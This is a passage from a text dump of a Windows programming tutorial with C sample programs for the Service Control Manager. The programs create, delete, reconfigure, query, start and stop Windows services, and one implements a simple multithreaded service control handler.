file:///C|/Tutorial.txt

break;

case SERVICE_CONTROL_INTERROGATE:
break;

default:
break;
}

// Set the status of the service.


SetTheServiceStatus(dwState, NO_ERROR, 0, 0);
OutputDebugString(TEXT("SetTheServiceStatus(), Service_Ctrl() function\n"));

// Tell Service_Main thread to stop...


if ((dwCtrlCode == SERVICE_CONTROL_STOP) || (dwCtrlCode == SERVICE_CONTROL_SHUTDOWN))
{
if (!SetEvent(hStopEvent))
ErrorStopService(TEXT("SetEvent()"));
else
OutputDebugString(TEXT("Signal Service_Main() thread.\n"));
}
}

// Thread procedure for all five worker threads...


DWORD WINAPI ThreadProc(LPVOID lpParameter)
{
int nThreadNum = (int)lpParameter;
TCHAR szOutput[25];

while(WaitForSingleObject(hStopEvent, 1000) != WAIT_OBJECT_0)


{
// Just to have something to do, it will beep every second.
Sleep(2000);
wsprintf(szOutput, TEXT("\nThread %d says Beep\n"), nThreadNum);
//Send visual to debugger.
OutputDebugString(szOutput);
}
return 0;
}

// Wraps SetServiceStatus()...
void SetTheServiceStatus(DWORD dwCurrentState, DWORD dwWin32ExitCode, DWORD dwCheckPoint, DWORD dwWaitHint)
{
// Current status of the service.
SERVICE_STATUS ss;

// Disable control requests until the service is started.


if (dwCurrentState == SERVICE_START_PENDING)
ss.dwControlsAccepted = 0;
else
ss.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
// Other flags include SERVICE_ACCEPT_PAUSE_CONTINUE
// and SERVICE_ACCEPT_SHUTDOWN.

// Initialize ss structure.
ss.dwServiceType = SERVICE_WIN32_OWN_PROCESS;

file:///C|/Tutorial.txt (893 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

ss.dwServiceSpecificExitCode = 0;
ss.dwCurrentState = dwCurrentState;
ss.dwWin32ExitCode = dwWin32ExitCode;
ss.dwCheckPoint = dwCheckPoint;
ss.dwWaitHint = dwWaitHint;

// Send status of the service to the Service Controller.


if (!SetServiceStatus(ssh, &ss))
ErrorStopService(TEXT("SetServiceStatus()"));
else
printf("SetServiceStatus() looks OK.\n");

return;
}

// Handle API errors or other problems by ending the service and


// displaying an error message to the debugger.
void ErrorStopService(LPTSTR lpszAPI)
{
INT t;
TCHAR buffer[256] = TEXT("");
TCHAR error[1024] = TEXT("");
LPVOID lpvMessageBuffer;
DWORD dwWaitRes;

wsprintf(buffer, TEXT("API = %s, "), lpszAPI);


lstrcat(error, buffer);

ZeroMemory(buffer, sizeof(buffer));
wsprintf(buffer, TEXT("error code = %d, "), GetLastError());
lstrcat(error, buffer);

// Obtain the error string.


FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER|FORMAT_MESSAGE_FROM_SYSTEM,
NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR)&lpvMessageBuffer, 0, NULL);

ZeroMemory((LPVOID)buffer, (DWORD)sizeof(buffer));
wsprintf(buffer, TEXT("message = %s"), (TCHAR *)lpvMessageBuffer);
lstrcat(error, buffer);

// Free the buffer allocated by the system.


LocalFree(lpvMessageBuffer);

// Write the error string to the debugger.


OutputDebugString(error);

// If you have threads running, tell them to stop. Something went


// wrong, and you need to stop them so you can inform the SCM.
SetEvent(hStopEvent);

// Wait for the threads to stop.


for (t = 1; TRUE; t++)
{
if ((dwWaitRes = WaitForMultipleObjects(3, hThreads, TRUE, 1000)) == WAIT_OBJECT_0)

file:///C|/Tutorial.txt (894 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

break;
else if ((dwWaitRes == WAIT_FAILED)|| (dwWaitRes == WAIT_ABANDONED))
break; // Our wait failed
else
{
SetTheServiceStatus(SERVICE_STOP_PENDING, 0, t, 3000);
}
}

// Stop the service.


SetTheServiceStatus(SERVICE_STOPPED, GetLastError(), 0, 0);
return;
}

----------------------------------------------------------------------------------------------------

// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>

int main()
{
SC_HANDLE schSCManager;

// Open a handle to the SC Manager database...


schSCManager = OpenSCManager(
NULL, // local machine
NULL, // SERVICES_ACTIVE_DATABASE database is opened by default
SC_MANAGER_ALL_ACCESS); // full access rights

if (NULL == schSCManager)
printf("OpenSCManager() failed, error: %d.\n", GetLastError());
else
printf("OpenSCManager() looks OK.\n");

return 0;
}

----------------------------------------------------------------------------------------------------

// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>

int main()
{
SC_HANDLE schSCManager, schService;
// The service executable location, just dummy here else make
// sure the executable is there :o)...
LPCTSTR lpszBinaryPathName = "%SystemRoot%\\system\\mytestservice.exe";
// Service display name...
LPCTSTR lpszDisplayName = "My_Sample_Service";
// Registry Subkey
LPCTSTR lpszServiceName = "MySampleSrv";

file:///C|/Tutorial.txt (895 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

// Open a handle to the SC Manager database...


schSCManager = OpenSCManager(
NULL, // local machine
NULL, // SERVICES_ACTIVE_DATABASE database is opened by default
SC_MANAGER_ALL_ACCESS); // full access rights

if (NULL == schSCManager)
printf("OpenSCManager() failed, error: %d.\n", GetLastError());
else
printf("OpenSCManager() looks OK.\n");

// Create/install service...
schService = CreateService(
schSCManager, // SCManager database
lpszServiceName, // name of service
lpszDisplayName, // service name to display
SERVICE_ALL_ACCESS, // desired access
SERVICE_WIN32_OWN_PROCESS, // service type
SERVICE_DEMAND_START, // start type
SERVICE_ERROR_NORMAL, // error control type
lpszBinaryPathName, // service's binary
NULL, // no load ordering group
NULL, // no tag identifier
NULL, // no dependencies
NULL, // LocalSystem account
NULL); // no password

if (schService == NULL)
{
printf("CreateService() failed.\n");
return FALSE;
}
else
{
printf("CreateService() for %s looks OK.\n", lpszServiceName);

if (CloseServiceHandle(schService) == 0)
printf("CloseServiceHandle() failed, error: %d.\n", GetLastError());
else
printf("CloseServiceHandle() is OK.\n");

return 0;
}
}

----------------------------------------------------------------------------------------------------

// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>

int main()
{
SC_HANDLE schSCManager, schService;

file:///C|/Tutorial.txt (896 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

// The service name...


LPCTSTR lpszServiceName = "MySampleSrv";

// Open a handle to the SC Manager database...


schSCManager = OpenSCManager(
NULL, // local machine
NULL, // SERVICES_ACTIVE_DATABASE database is opened by default
SC_MANAGER_ALL_ACCESS); // full access rights

if (NULL == schSCManager)
printf("OpenSCManager() failed, error: %d.\n", GetLastError());
else
printf("OpenSCManager() looks OK.\n");

schService = OpenService(
schSCManager, // SCManager database
lpszServiceName, // name of service
DELETE); // only need DELETE access

if (schService == NULL)
printf("OpenService() failed, error: %d.\n", GetLastError());
else
printf("OpenService() looks OK.\n");

if (!DeleteService(schService))
printf("DeleteService() failed, error: %d.\n", GetLastError());

else
printf("DeleteService(), %s is deleted.\n", lpszServiceName);

if (CloseServiceHandle(schService) == 0)
printf("CloseServiceHandle() failed, error: %d.\n", GetLastError());
else
printf("CloseServiceHandle() looks OK.\n");

return 0;
}

----------------------------------------------------------------------------------------------------

// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>

// lpDescription - string description of the service


// fDisable - service start type

void ReconfigureMySampleService(BOOL, LPSTR);

int main()
{
BOOL fDisable = FALSE;
LPSTR lpDesc = "This is an added description for MySampleSrv";
// Call the function...

file:///C|/Tutorial.txt (897 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

ReconfigureMySampleService(fDisable, lpDesc);

return 0;
}

void ReconfigureMySampleService(BOOL fDisable, LPSTR lpDesc)


{
LPCTSTR lpszServiceName = "MySampleSrv";
SC_HANDLE schSCManager, schService;
SC_LOCK sclLock;
LPQUERY_SERVICE_LOCK_STATUS lpqslsBuf;
SERVICE_DESCRIPTION sdBuf;
DWORD dwBytesNeeded, dwStartType;

// Open a handle to the SC Manager database...


schSCManager = OpenSCManager(
NULL, // local machine
NULL, // SERVICES_ACTIVE_DATABASE database is opened by default
SC_MANAGER_ALL_ACCESS); // full access rights

if (NULL == schSCManager)
printf("OpenSCManager() failed, error: %d.\n", GetLastError());
else
printf("OpenSCManager() looks OK.\n");

// Need to acquire database lock before reconfiguring.


sclLock = LockServiceDatabase(schSCManager);

// If the database cannot be locked, report the details.


if (sclLock == NULL)
{
// Exit if the database is not locked by another process.
if (GetLastError() != ERROR_SERVICE_DATABASE_LOCKED)
printf("LockServiceDatabase() failed, error: %d.\n", GetLastError());
else
printf("LockServiceDatabase() is OK.\n");

// Allocate a buffer to get details about the lock.


lpqslsBuf = (LPQUERY_SERVICE_LOCK_STATUS) LocalAlloc(
LPTR, sizeof(QUERY_SERVICE_LOCK_STATUS)+256);

if (lpqslsBuf == NULL)
printf("LocalAlloc() failed, error: %d.\n", GetLastError());
else
printf("LocalAlloc() is OK.\n");

// Get and print the lock status information.


if (!QueryServiceLockStatus(
schSCManager,
lpqslsBuf,
sizeof(QUERY_SERVICE_LOCK_STATUS)+256, &dwBytesNeeded))

printf("QueryServiceLockStatus() failed, error: %d.\n", GetLastError());


else
printf("QueryServiceLockStatus() looks OK.\n");

file:///C|/Tutorial.txt (898 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

if (lpqslsBuf->fIsLocked)
printf("Locked by: %s, duration: %d seconds\n", lpqslsBuf->lpLockOwner, lpqslsBuf->dwLockDuration);
else
printf("No longer locked.\n");

LocalFree(lpqslsBuf);
printf("Could not lock the database.\n");
}

// The database is locked, so it is safe to make changes.


// Open a handle to the service.
schService = OpenService(
schSCManager, // SCManager database
lpszServiceName, // name of service
SERVICE_CHANGE_CONFIG); // need CHANGE access
if (schService == NULL)
printf("OpenService() failed, error: %d.\n", GetLastError());
else
printf("OpenService() looks OK.\n");

dwStartType = (fDisable) ? SERVICE_DISABLED : SERVICE_DEMAND_START;

// Make the changes.


if (! ChangeServiceConfig(
schService, // handle of service
SERVICE_NO_CHANGE, // service type: no change
dwStartType, // change service start type
SERVICE_NO_CHANGE, // error control: no change
NULL, // binary path: no change
NULL, // load order group: no change
NULL, // tag ID: no change
NULL, // dependencies: no change
NULL, // account name: no change
NULL, // password: no change
NULL)) // display name: no change
{
printf("ChangeServiceConfig() failed, error: %d.\n", GetLastError());
}
else
printf("ChangeServiceConfig() looks OK, service config changed.\n");

sdBuf.lpDescription = lpDesc;

if(!ChangeServiceConfig2(
schService, // handle to service
SERVICE_CONFIG_DESCRIPTION, // change: description
&sdBuf)) // value: new description
{
printf("ChangeServiceConfig2() failed, error: %d.\n", GetLastError());
}
else
printf("ChangeServiceConfig2() looks OK, service description changed.\n");

// Release the database lock.


if (UnlockServiceDatabase(sclLock) == 0)
printf("UnlockServiceDatabase() failed, error: %d.\n");

file:///C|/Tutorial.txt (899 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

else
printf("UnlockServiceDatabase() looks oK.\n");

// Close the handle to the service.


if (CloseServiceHandle(schService) == 0)
printf("CloseServiceHandle() failed, error: %d.\n");
else
printf("CloseServiceHandle() looks OK.\n");
return;
}

----------------------------------------------------------------------------------------------------

// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>

void GetSampleServiceConfig(void);

int main()
{
// Call the function...
printf("In main(), just some test...\n\n");
GetSampleServiceConfig();

return 0;
}

void GetSampleServiceConfig()
{
// This should be a Subkey name in
// HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services
// registry key. Here we test querying the winmgmt service...
// Try querying other service...
LPCTSTR lpszServiceName = "winmgmt";
SC_HANDLE schSCManager, schService;
LPQUERY_SERVICE_CONFIG lpqscBuf;
LPSERVICE_DESCRIPTION lpqscBuf2;
DWORD dwBytesNeeded;

// Open a handle to the SC Manager database...


schSCManager = OpenSCManager(
NULL, // local machine
NULL, // SERVICES_ACTIVE_DATABASE database is opened by default
SC_MANAGER_ALL_ACCESS); // full access rights

if (NULL == schSCManager)
printf("OpenSCManager() failed, error: %d.\n", GetLastError());
else
printf("OpenSCManager() looks OK.\n");

// Open a handle to the service.


schService = OpenService(
schSCManager, // SCManager database
lpszServiceName, // name of service

file:///C|/Tutorial.txt (900 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

SERVICE_QUERY_CONFIG); // need QUERY access


if (schService == NULL)
printf("OpenService() failed, error: %d.\n", GetLastError());
else
printf("OpenService() looks OK.\n");

// Allocate a buffer for the configuration information.


lpqscBuf = (LPQUERY_SERVICE_CONFIG) LocalAlloc(LPTR, 4096);
if (lpqscBuf == NULL)
printf("LocalAlloc() for lpqscBuf failed, error: %d.\n", GetLastError());
else
printf("LocalAlloc() for lpqscBuf looks OK.\n");

lpqscBuf2 = (LPSERVICE_DESCRIPTION) LocalAlloc(LPTR, 4096);


if (lpqscBuf2 == NULL)
printf("LocalAlloc() for lpqscBuf2 failed, error: %d.\n", GetLastError());
else
printf("LocalAlloc() for lpqscBuf2 looks OK.\n");

// Get the configuration information.


if (!QueryServiceConfig(
schService,
lpqscBuf,
4096,
&dwBytesNeeded))
{
printf("QueryServiceConfig() failed, error: %d.\n", GetLastError());
}
else
printf("QueryServiceConfig() looks OK.\n");

// May fail and can be scrapped coz can use the following lpqscBuf2->lpDescription...
if (!QueryServiceConfig2(
schService,
SERVICE_CONFIG_DESCRIPTION,
(LPBYTE)lpqscBuf2,
4096,
&dwBytesNeeded))
{
printf("QueryServiceConfig2() failed, error: %d.\n", GetLastError());
}
else
printf("QueryServiceConfig2() failed, error: %d.\n", GetLastError());

// Print the configuration information...


printf("\n%s configuration: \n", lpszServiceName);
printf(" Type: 0x%x\n", lpqscBuf->dwServiceType);
printf(" Start Type: 0x%x\n", lpqscBuf->dwStartType);
printf(" Error Control: 0x%x\n", lpqscBuf->dwErrorControl);
printf(" Binary path: %s\n", lpqscBuf->lpBinaryPathName);

if (lpqscBuf->lpLoadOrderGroup != NULL)
printf(" Load order group: %s\n", lpqscBuf->lpLoadOrderGroup);
if (lpqscBuf->dwTagId != 0)
printf(" Tag ID: %d\n", lpqscBuf->dwTagId);
if (lpqscBuf->lpDependencies != NULL)

file:///C|/Tutorial.txt (901 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

printf(" Dependencies: %s\n", lpqscBuf->lpDependencies);


if (lpqscBuf->lpServiceStartName != NULL)
printf(" Start Name: %s\n", lpqscBuf->lpServiceStartName);
if (lpqscBuf2->lpDescription != NULL)
printf(" Description: %s\n", lpqscBuf2->lpDescription);

if (LocalFree(lpqscBuf) == NULL)
printf("LocalFree() for lpqscBuf is OK.\n");
else
printf("LocalFree() for lpqscBuf failed.\n");

if (LocalFree(lpqscBuf2) == NULL)
printf("LocalFree() for lpqscBuf2 is OK.\n");
else
printf("LocalFree() for lpqscBuf2 failed.\n");

return;
}

----------------------------------------------------------------------------------------------------

// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <stdio.h>

BOOL StartSampleService(SC_HANDLE);

int main()
{
SC_HANDLE schSCManager;

// Open a handle to the SC Manager database...


schSCManager = OpenSCManager(
NULL, // local machine
NULL, // SERVICES_ACTIVE_DATABASE database is opened by default
SC_MANAGER_ALL_ACCESS); // full access rights

if (NULL == schSCManager)
printf("OpenSCManager() failed, error: %d.\n", GetLastError());
else
printf("OpenSCManager() looks OK.\n");
// Call the StartSampleService()...
StartSampleService(schSCManager);

return 0;
}

BOOL StartSampleService(SC_HANDLE schSCManager)


{
SC_HANDLE schService;
SERVICE_STATUS ssStatus;
DWORD dwOldCheckPoint;
DWORD dwStartTickCount;
DWORD dwWaitTime;
// You can try to accept the service name through the command line...

file:///C|/Tutorial.txt (902 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

// To test this program, make sure the dhcp client is installed and
// in the stop state...
LPCTSTR lpszServiceName = "dhcp";

schService = OpenService(
schSCManager, // SCM database
lpszServiceName, // service name
SERVICE_ALL_ACCESS);

if (schService == NULL)
{
printf("OpenService() failed, error: %d.\n", GetLastError());
return 0;
}
else
printf("OpenService() looks OK.\n");
// Proceed to other task...

if (!StartService(
schService, // handle to service
0, // number of arguments
NULL) ) // no arguments
{
printf("StartService() failed, error: %d.\n", GetLastError());
return 0;
}
else
printf("StartService(), service start pending.\n");

// Check the status until the service is no longer start pending.


if (!QueryServiceStatus(
schService, // handle to service
&ssStatus)) // address of status information structure
{
printf("StartService(), service still start pending.\n");
return 0;
}
else
printf("StartService(), service no longer start pending.\n");

// Save the tick count and initial checkpoint.


dwStartTickCount = GetTickCount();
dwOldCheckPoint = ssStatus.dwCheckPoint;

while (ssStatus.dwCurrentState == SERVICE_START_PENDING)


{
// Just some info...
printf("Wait Hint: %d\n", ssStatus.dwWaitHint);
// Do not wait longer than the wait hint. A good interval is
// one tenth the wait hint, but no less than 1 second and no
// more than 10 seconds...
dwWaitTime = ssStatus.dwWaitHint / 10;

if (dwWaitTime < 1000)


dwWaitTime = 1000;
else if (dwWaitTime > 10000)

file:///C|/Tutorial.txt (903 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

dwWaitTime = 10000;

Sleep(dwWaitTime);

// Check the status again...


if (!QueryServiceStatus(
schService, // handle to service
&ssStatus)) // address of structure
break;

if (ssStatus.dwCheckPoint > dwOldCheckPoint)


{
// The service is making progress...
printf("Service starting in progress...\n");
dwStartTickCount = GetTickCount();
dwOldCheckPoint = ssStatus.dwCheckPoint;
}
else
{
if ((GetTickCount()-dwStartTickCount) > ssStatus.dwWaitHint)
{
// No progress made within the wait hint
printf("Well, starting the service looks no progress...\n");
break;
}
}
}

if (CloseServiceHandle(schService) == 0)
printf("CloseServiceHandle() failed, error: %d.\n", GetLastError());
else
printf("CloseServiceHandle() looks OK.\n");

if (ssStatus.dwCurrentState == SERVICE_RUNNING)
{
printf("StartService(), %s service successfully started.\n", lpszServiceName);
return 1;
}
else
{
printf("\nService %s not started.\n", lpszServiceName);
printf(" Current State: %d\n", ssStatus.dwCurrentState);
printf(" Exit Code: %d\n", ssStatus.dwWin32ExitCode);
printf(" Service Specific Exit Code: %d\n", ssStatus.dwServiceSpecificExitCode);
printf(" Check Point: %d\n", ssStatus.dwCheckPoint);
printf(" Wait Hint: %d\n", ssStatus.dwWaitHint);
return 0;
}
}

----------------------------------------------------------------------------------------------------

// For WinXp
#define _WIN32_WINNT 0x0501
#include <Windows.h>
#include <stdio.h>

file:///C|/Tutorial.txt (904 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

#define SCHED_CLASS TEXT("SAGEWINDOWCLASS")


#define SCHED_TITLE TEXT("SYSTEM AGENT COM WINDOW")
#define SCHED_SERVICE_APP_NAME TEXT("mstask.exe")
#define SCHED_SERVICE_NAME TEXT("Schedule")

int main(int argc, char **argv)


{
OSVERSIONINFO osver;
osver.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);

// Determine which version of OS you are running.


GetVersionEx(&osver);

if (osver.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS)
{
// If Windows 95, check to see if Windows 95
// version of Task Scheduler is running.
HWND hwnd = FindWindow(SCHED_CLASS, SCHED_TITLE);

if (hwnd != NULL)
{
// It is already running.
printf("Task Scheduler is already running.\n");
return 0;
}

// Execute the task scheduler process.


STARTUPINFO sui;
PROCESS_INFORMATION pi;
ZeroMemory(&sui, sizeof(sui));
sui.cb = sizeof (STARTUPINFO);
TCHAR szApp[MAX_PATH];
LPTSTR pszPath;

DWORD dwRet = SearchPath(NULL,


SCHED_SERVICE_APP_NAME,
NULL,
MAX_PATH,
szApp,
&pszPath);

if (dwRet == 0)
{ return GetLastError(); }
else
printf("SearchPath() is OK.\n");

BOOL fRet = CreateProcess(szApp,


NULL,
NULL,
NULL,
FALSE,
CREATE_NEW_CONSOLE | CREATE_NEW_PROCESS_GROUP,
NULL,
NULL,
&sui,

file:///C|/Tutorial.txt (905 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

&pi);

if (fRet == 0)
{
return GetLastError();
}
else
printf("CreateProcess() is OK.\n");

CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return S_OK;
}
else
{
// If not Windows 95, check to see if Windows NT
// version of Task Scheduler is running.

SC_HANDLE hSC = NULL;


SC_HANDLE hSchSvc = NULL;

hSC = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);


if (hSC == NULL)
{
return GetLastError();
}
else
printf("OpenSCManager() is OK.\n");

hSchSvc = OpenService(hSC, SCHED_SERVICE_NAME, SERVICE_START | SERVICE_QUERY_STATUS);

CloseServiceHandle(hSC);
if (hSchSvc == NULL)
{
return GetLastError();
}
else
printf("OpenService() is OK.\n");

SERVICE_STATUS SvcStatus;

if (QueryServiceStatus(hSchSvc, &SvcStatus) == FALSE)


{
CloseServiceHandle(hSchSvc);
return GetLastError();
}
else
printf("QueryServiceStatus() is OK.\n");

if (SvcStatus.dwCurrentState == SERVICE_RUNNING)
{
// The service is already running.
CloseServiceHandle(hSchSvc);
printf("Task Scheduler is already running.\n");
return 0;
}

file:///C|/Tutorial.txt (906 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

if (StartService(hSchSvc, 0, NULL) == FALSE)


{
CloseServiceHandle(hSchSvc);
printf("Could not start Task Scheduler.\n");
return GetLastError();
}

CloseServiceHandle(hSchSvc);
printf("Task Scheduler has been started.\n");
return S_OK;
}
}

----------------------------------------------------------------------------------------------------

// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <tchar.h>
#include <stdio.h>

DWORD StopService(SC_HANDLE, SC_HANDLE, BOOL, DWORD);


void DisplayError(LPTSTR, DWORD);

// Entry point for the program. This function contains sample code
// demonstrating how to use the StopService function implemented
// above.
//
// Parameters:
// argc - the number of command-line arguments
// argv[] - an array of command-line arguments
// Using _tmain(), TCHAR - A WCHAR if UNICODE is defined, a CHAR otherwise.
void _tmain(int argc, TCHAR *argv[])
{
SC_HANDLE hSCM;
SC_HANDLE hService;
DWORD dwError;

// If no command line argument supplied...


if (argc < 2)
{
_tprintf(TEXT("usage: %s <ServiceName>\n"), argv[0]);
_tprintf(TEXT("Please try again.\n"));
return;
}

// Exception handling...
__try
{
// Open the SCM database
hSCM = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);
if (!hSCM)
{
DisplayError(TEXT("OpenSCManager() failed.\n"), GetLastError());
__leave;

file:///C|/Tutorial.txt (907 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

}
else
_tprintf(TEXT("OpenSCManager() looks OK.\n"));

// Open the specified service


hService = OpenService(hSCM, argv[1], SERVICE_STOP | SERVICE_QUERY_STATUS |
SERVICE_ENUMERATE_DEPENDENTS);
if (!hService)
{
DisplayError(TEXT("OpenService() failed.\n"), GetLastError());
__leave;
}
else
_tprintf(TEXT("OpenService() looks OK.\n"));

// Try to stop the service, specifying a 40 second timeout


dwError = StopService(hSCM, hService, TRUE, 40000);
if (dwError == ERROR_SUCCESS)
_tprintf(TEXT("The %s service was successfully stopped.\n"), argv[1]);
else
DisplayError(TEXT("StopService(), stopping the service failed.\n"), dwError);
}
__finally
{
if (hService)
CloseServiceHandle(hService);

if (hSCM)
CloseServiceHandle(hSCM);
}
}

// This function attempts to stop a service. It allows the caller to


// specify whether dependent services should also be stopped. It also
// accepts a timeout value, to prevent a scenario in which a service
// shutdown hangs, then the application stopping the service hangs.
//
// Parameters:
// hSCM - Handle to the service control manager.
// hService - Handle to the service to be stopped.
// fStopDependencies - Indicates whether to stop dependent services.
// dwTimeout - maximum time (in milliseconds) to wait
//
// If the operation is successful, returns ERROR_SUCCESS. Otherwise, returns a system error code.
DWORD StopService(SC_HANDLE hSCM, SC_HANDLE hService, BOOL fStopDependencies, DWORD dwTimeout)
{
SERVICE_STATUS ss;
DWORD dwStartTime = GetTickCount();

// Make sure the service is not already stopped...


if (!QueryServiceStatus(hService, &ss))
return GetLastError();
else
_tprintf(TEXT("QueryServiceStatus(), querying the service status...\n"));

if (ss.dwCurrentState == SERVICE_STOPPED)

file:///C|/Tutorial.txt (908 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

{
_tprintf(TEXT("Service already stopped.\n"));
return ERROR_SUCCESS;
}

// If a stop is pending, just wait for it..


_tprintf(TEXT("Checking the service pending status...\n"));
while (ss.dwCurrentState == SERVICE_STOP_PENDING)
{
Sleep(ss.dwWaitHint);
if (!QueryServiceStatus(hService, &ss))
return GetLastError();

if (ss.dwCurrentState == SERVICE_STOPPED)
return ERROR_SUCCESS;

if (GetTickCount() - dwStartTime > dwTimeout)


return ERROR_TIMEOUT;
}

// If the service is running, dependencies must be stopped first


if (fStopDependencies)
{
DWORD i;
DWORD dwBytesNeeded;
DWORD dwCount;

LPENUM_SERVICE_STATUS lpDependencies = NULL;


ENUM_SERVICE_STATUS ess;
SC_HANDLE hDepService;

// Pass a zero-length buffer to get the required buffer size


if ((EnumDependentServices(hService, SERVICE_ACTIVE,
lpDependencies, 0, &dwBytesNeeded, &dwCount)) != 0)
{
_tprintf(TEXT("EnumDependentServices(), no dependencies lol!\n"));
// If the Enum call succeeds, then there are no dependent
// services so do nothing...
}
else
{
_tprintf(TEXT("EnumDependentServices(), there are dependencies lol!\n"));

if (GetLastError() != ERROR_MORE_DATA)
return GetLastError(); // Unexpected error

// Allocate a buffer for the dependencies


lpDependencies = (LPENUM_SERVICE_STATUS) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwBytesNeeded);

if (!lpDependencies)
return GetLastError();

__try {
// Enumerate the dependencies
if (!EnumDependentServices(hService, SERVICE_ACTIVE,
lpDependencies, dwBytesNeeded, &dwBytesNeeded, &dwCount))

file:///C|/Tutorial.txt (909 of 916)10/27/2010 10:58:31 AM


file:///C|/Tutorial.txt

return GetLastError();

_tprintf(TEXT("The number of dependencies: %d.\n"), dwCount);


for (i = 0; i < dwCount; i++)
{
ess = *(lpDependencies + i);
_tprintf(TEXT("Dependencies #%d: %s.\n"), i, ess.lpServiceName);

// Open the service


hDepService = OpenService(hSCM, ess.lpServiceName, SERVICE_STOP | SERVICE_QUERY_STATUS);
if (!hDepService)
return GetLastError();

__try {
_tprintf(TEXT("Stopping dependency #%d.\n"), i);
// Send a stop code
if (!ControlService(hDepService, SERVICE_CONTROL_STOP, &ss))
return GetLastError();

// Wait for the service to stop


while (ss.dwCurrentState != SERVICE_STOPPED)
{
Sleep(10000);
//Sleep(ss.dwWaitHint);
if (!QueryServiceStatus(hDepService, &ss))
return GetLastError();

if (ss.dwCurrentState == SERVICE_STOPPED)
_tprintf(TEXT("the %s service was stopped...\n"), ess.lpServiceName);
// Dependency was stopped
break;

if (GetTickCount() - dwStartTime > dwTimeout)


return ERROR_TIMEOUT;
}
}
__finally
{
// Always release the service handle
if (CloseServiceHandle(hDepService) == 0)
_tprintf(TEXT("CloseServiceHandle() failed, error: %d.\n"), GetLastError());
else
_tprintf(TEXT("CloseServiceHandle() looks OK.\n"));
}
}
}
__finally
{
// Always free the enumeration buffer
if (HeapFree(GetProcessHeap(), 0, lpDependencies) == 0)
_tprintf(TEXT("HeapFree() failed, error: %d.\n"), GetLastError());
else
_tprintf(TEXT("HeapFree() looks OK.\n"));
}
}
}

file:///C|/Tutorial.txt (910 of 916)10/27/2010 10:58:32 AM


file:///C|/Tutorial.txt

// Assuming all dependencies already stopped,


// send a stop code to the main service
if (!ControlService(hService, SERVICE_CONTROL_STOP, &ss))
return GetLastError();

// Wait for the service to stop


while (ss.dwCurrentState != SERVICE_STOPPED)
{
Sleep(10000);
//Sleep(ss.dwWaitHint);
if (!QueryServiceStatus(hService, &ss))
return GetLastError();

if (ss.dwCurrentState == SERVICE_STOPPED)
// The main service was stopped...
break;

if (GetTickCount() - dwStartTime > dwTimeout)


return ERROR_TIMEOUT;
}

// Return success
return ERROR_SUCCESS;
}

// Helper function to display an error message


void DisplayError(LPTSTR szAPI, DWORD dwError)
{
LPTSTR lpBuffer = NULL;

FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM, NULL, dwError,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR) &lpBuffer, 0, NULL);

_tprintf(TEXT("%s failed:\n"), szAPI);


_tprintf(TEXT(" error code = %u\n"), dwError);
_tprintf(TEXT(" message = %s\n"), lpBuffer);

if (LocalFree(lpBuffer) == NULL)
_tprintf(TEXT("LocalFree() looks OK.\n"));
else
_tprintf(TEXT("LocalFree() failed.\n"));
}

----------------------------------------------------------------------------------------------------

// For WinXp
#define _WIN32_WINNT 0x0501
#include <windows.h>
#include <tchar.h>
#include <stdio.h>

// This example try to stop a service by sending


// a control code. It ONLY for services that don't

file:///C|/Tutorial.txt (911 of 916)10/27/2010 10:58:32 AM


file:///C|/Tutorial.txt

// have dependencies...else it will fail


// For services that have dependencies, use the previous example...
// Parameters:
// argc - the number of command-line arguments
// argv[] - an array of command-line arguments
int main(int argc, char *argv[])
{
SC_HANDLE schSCManager, schService;
LPCTSTR lpszServiceName;
SERVICE_STATUS ssStatus;
DWORD fdwAccess;
// Try sending stop control code...
// Notifies a service that it should stop...
DWORD fdwControl = SERVICE_CONTROL_STOP;

// If no command line argument supplied...


if (argc < 2)
{
printf("usage: %s <ServiceName>\n", argv[0]);
printf("Try again.\n");
return 1;
}

lpszServiceName = argv[1];

// Open a handle to the SC Manager database...


schSCManager = OpenSCManager(
NULL, // local machine
NULL, // SERVICES_ACTIVE_DATABASE database is opened by default
SC_MANAGER_ALL_ACCESS); // full access rights

if (NULL == schSCManager)
printf("OpenSCManager(), Open a handle to the SC Manager database failed, error: %d.\n", GetLastError());
else
